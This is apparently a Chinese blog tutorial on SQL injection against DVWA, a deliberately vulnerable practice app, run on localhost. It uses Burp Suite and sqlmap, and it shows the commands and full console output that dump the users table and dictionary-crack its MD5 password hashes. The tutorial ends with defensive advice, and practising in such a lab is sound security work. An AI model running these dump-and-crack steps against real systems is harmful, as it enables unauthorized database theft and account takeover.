通过BurpSuite和sqlmap配合对dvwa进行sql注入测试和用户名密码暴力破解
0x1 工具和环境介绍
dvwa:渗透测试环境
BurpSuite:强大的WEB安全测试工具
sqlmap:强大的sql注入工具
以上工具和环境都在kali linux上安装和配置。
0x2 步骤说明
配置Burp Suite和浏览器。
这一步比较简单,主要是用来抓取用来sql注入的信息。
在Burp中设置proxy代理:127.0.0.1:8080,配置浏览器使用代理,这样浏览器的request信息就可以被Burp抓取了。
抓取登录信息
在Burp的Proxy界面可以抓取到浏览器访问的信息,如下所示:
可以看到登录中有id信息,因为已经把dvwa的安全级别调到最低,这里肯定是有注入点的。接下来就用sqlmap进行注入测试了。
sqlmap注入测试
sqlmap的功能很强大,主要的用法可以参考手册。
这里是可以探测到id是一个注入点的。接下来可以看一下dvwa数据库中有哪些数据表:
因为注入时候需要用到cookie,这里把上面的raw中的内容复制到一个文件中,后面sqlmap会用。
sqlmap -r /home/flyer/test-sec/1 --current-user --current-db --tables
可以看到当前数据库中的所有表,因为是用root帐号作为数据库的用户的。这里只列出dvwa的表:
Database: dvwa [2 tables] +----------------------------------------------+ |guestbook | | users | +----------------------------------------------+
以上这些操作说明是可以进行sql注入的,也获取到了dvwa的数据库表的名称,这里可以看到有一个users表,接下来就可以对这个表进行探测,看看里面是不是有一些有用的信息。
获取用户表并破解密码
操作如下,有详细的流程,此处不再赘述。
root@riverbaby:/var/www# sqlmap -r /home/flyer/test-sec/1 --search -D dvwa -T users _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150510} |_ -| . | | | .'| . | |___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org do you want sqlmap to consider provided table(s): as LIKE table names (default) as exact table names > 2 [21:35:03] [INFO] searching table 'users' for database 'dvwa' [21:35:03] [WARNING] reflective value(s) found and filtering out Database: dvwa [1 table] +-------+ | users | +-------+ do you want to dump tables' entries? [Y/n] y which database(s)? [a]ll (default) [dvwa] [q]uit > dvwa which table(s) of database 'dvwa'? [a]ll (default) [users] [s]kip [q]uit > users [21:35:24] [INFO] fetching columns for table 'users' in database 'dvwa' [21:35:24] [INFO] fetching entries for table 'users' in database 'dvwa' [21:35:24] [INFO] analyzing table dump for possible password hashes [21:35:24] [INFO] recognized possible password hashes in column 'password' do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y [21:35:30] [INFO] writing hashes to a temporary file '/tmp/sqlmapmLIBoQ15506/sqlmaphashes-RpFiGo.txt' do you want to crack them via a dictionary-based attack? [Y/n/q] y [21:35:36] [INFO] using hash method 'md5_generic_passwd' what dictionary do you want to use? [1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter) [2] custom dictionary file [3] file with list of dictionary files > [21:35:47] [INFO] using default dictionary do you want to use common password suffixes? (slow!) [y/N] y [21:35:54] [INFO] starting dictionary-based cracking (md5_generic_passwd) [21:35:54] [INFO] starting 2 processes [21:35:54] [INFO] cracked password '1111' for hash 'b59c67bf196a4758191e42f76670ceba' [21:35:57] [INFO] cracked password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03' [21:36:00] [INFO] cracked password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b' [21:36:05] [INFO] cracked password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7' [21:36:07] [INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99' [21:36:11] [INFO] postprocessing table dump Database: dvwa Table: users [5 entries] +---------+---------+--------------------------------------------------+---------------------------------------------+-----------+------------+ | user_id | user | avatar | password | last_name | first_name | +---------+---------+--------------------------------------------------+---------------------------------------------+-----------+------------+ | 1 | admin | http://localhost/dvwa/hackable/users/admin.jpg | b59c67bf196a4758191e42f76670ceba (1111) | admin | admin | | 2 | gordonb | http://localhost/dvwa/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon | | 3 | 1337 | http://localhost/dvwa/hackable/users/1337.jpg | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack | | 4 | pablo | http://localhost/dvwa/hackable/users/pablo.jpg | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo | | 5 | smithy | http://localhost/dvwa/hackable/users/smithy.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob | +---------+---------+--------------------------------------------------+---------------------------------------------+-----------+------------+
上一页
0x3 总结
破解成功,可以看到用户名和密码都已经列出来了。在网站设计的时候一定要考虑是否有sql注入的漏洞,否则很容易就会泄漏用户的敏感信息。这里破解密码hash用的是sqlmap自带的字典,很快就破解出来了,说明用户密码设置得并不安全。密码一定不能使用常用的组合或者意义过于明确的数据。
上一页
通过BurpSuite和sqlmap配合对dvwa进行sql注入测试和用户名密码暴力破解的更多相关文章
- Sqlmap对dvwa进行sql注入测试
前提准备条件: 1.下载安装dvwa,下载链接地址:http://www.dvwa.co.uk/.2.需要安装python运行环境.3.下载sqlmap包并将其解压. 一.查看所有的数据库;(其中db ...
- Sql注入测试--Sqlmap
慕课网sqlmap学习笔记: 一.SQL注入 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 例如 (1)在url上 ...
- (七)DVWA之SQL Injection--SQLMap测试(Low)
目录结构 一.测试需求分析 二.SQLMap利用SQL注入漏洞,获取数据库信息 1.判断是否存在注入点 2.获取DBMS中所有的数据库名称 3.获取Web应用当前连接的数据库 4.列出数据库中的所有用 ...
- DAY5 DVWA之SQL注入演练(low)
1.设置 把安全等级先调整为low,让自己获得点信心,免得一来就被打脸. 2.测试和分析页面的功能 这里有一个输入框 根据上面的提示,输入用户的id.然后我们输入之后,发现它返回了关于这个 ...
- 新萌渗透测试入门DVWA 教程2:DWVA 的配置和暴力破解靶机
啊呀,上周忘了更新了.开篇时分,简短的深表歉意. 好了,现在开始配置DWVS. 0x00 配置DWVS 首先输入密码登陆,用户名admin,密码password 进入界面后选择,DVWA Securi ...
- DVWA之SQL注入演练(low)
1.设置 把安全等级先调整为low,让自己获得点信心,免得一来就被打脸. 2.测试和分析页面的功能 这里有一个输入框 根据上面的提示,输入用户的id.然后我们输入之后,发现它返回了关于这个 ...
- SQLiScanner:又一款基于SQLMAP和Charles的被动SQL 注入漏洞扫描工具
https://blog.csdn.net/qq_27446553/article/details/52610095
- DVWA之SQL注入考点小结
SQL Injection SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害是巨大的,常常 ...
- (九)DVWA之SQL Injection--SQLMap&Fiddler测试(High)
一.测试需求分析 测试对象:DVWA漏洞系统--SQL Injection模块--ID提交功能 防御等级:High 测试目标:判断被测模块是否存在SQL注入漏洞,漏洞是否可利用,若可以则检测出对应的数 ...
随机推荐
- JVM内存模型一
JVM定义了若干个程序执行期间使用的数据区域.这个区域里的一些数据在JVM启动的时候创建,在JVM退出的时候销毁.而其他的数据依赖于每一个线程,在线程创建时创建,在线程退出时销毁. 程序计数器 程序计 ...
- 状压DP入门详解+题目推荐
在动态规划的题型中,一般叫什么DP就是怎么DP,状压DP也不例外 所谓状态压缩,一般是通过用01串表示状态,充分利用二进制数的特性,简化计算难度.举个例子,在棋盘上摆放棋子的题目中,我们可以用1表示当 ...
- shell的sort命令
sort命令以行为单位对文本进行排序. 命令语法: sort [-b/d/f/g/i/M/n/r] [InFile] 参数解释: -b: ignore-leading-blanks,忽略前面空格符部分 ...
- [BZOJ4556][Tjoi2016&Heoi2016]字符串 后缀数组+主席树
4556: [Tjoi2016&Heoi2016]字符串 Time Limit: 20 Sec Memory Limit: 128 MB Description 佳媛姐姐过生日的时候,她的小 ...
- LINQ 模糊搜索
IList<entity> ls = new List<entity>(); ls = (from k in ls where k.Name.Contains("sa ...
- 【刷题】BZOJ 2154 Crash的数字表格
Description 今天的数学课上,Crash小朋友学习了最小公倍数(Least Common Multiple).对于两个正整数a和b,LCM(a, b)表示能同时被a和b整除的最小正整数.例如 ...
- 实现运行在独立线程池的调度功能,基于Spring和Annotation
使用Spring的注解(@Scheduled)声明多个调度的时候,由于其默认实现机制,将导致多个调度方法之间相互干扰(简单理解就是调度不按配置的时间点执行). 为了解决该问题尝试了修改线程池大小,但是 ...
- 二分查找(等于x,小于x,小于等于x,大于x,大于等于x )
//等于x//小于x//小于等于x//大于x//大于等于x #include <cstdio> #include <cstdlib> #include <cmath> ...
- Django JSON 时间
在views.py中导入: from django.core.serializers.json import DjangoJSONEncoder 在返回JSON数据时调用: return HttpRe ...
- 2. Jmeter压力测试简单教程(包括服务器状态监控) (转)
转自:https://blog.csdn.net/cbzcbzcbzcbz/article/details/78023327 前段时间公司需要对服务器进行压力测试,包括登录前的页面和登录后的页面,主要 ...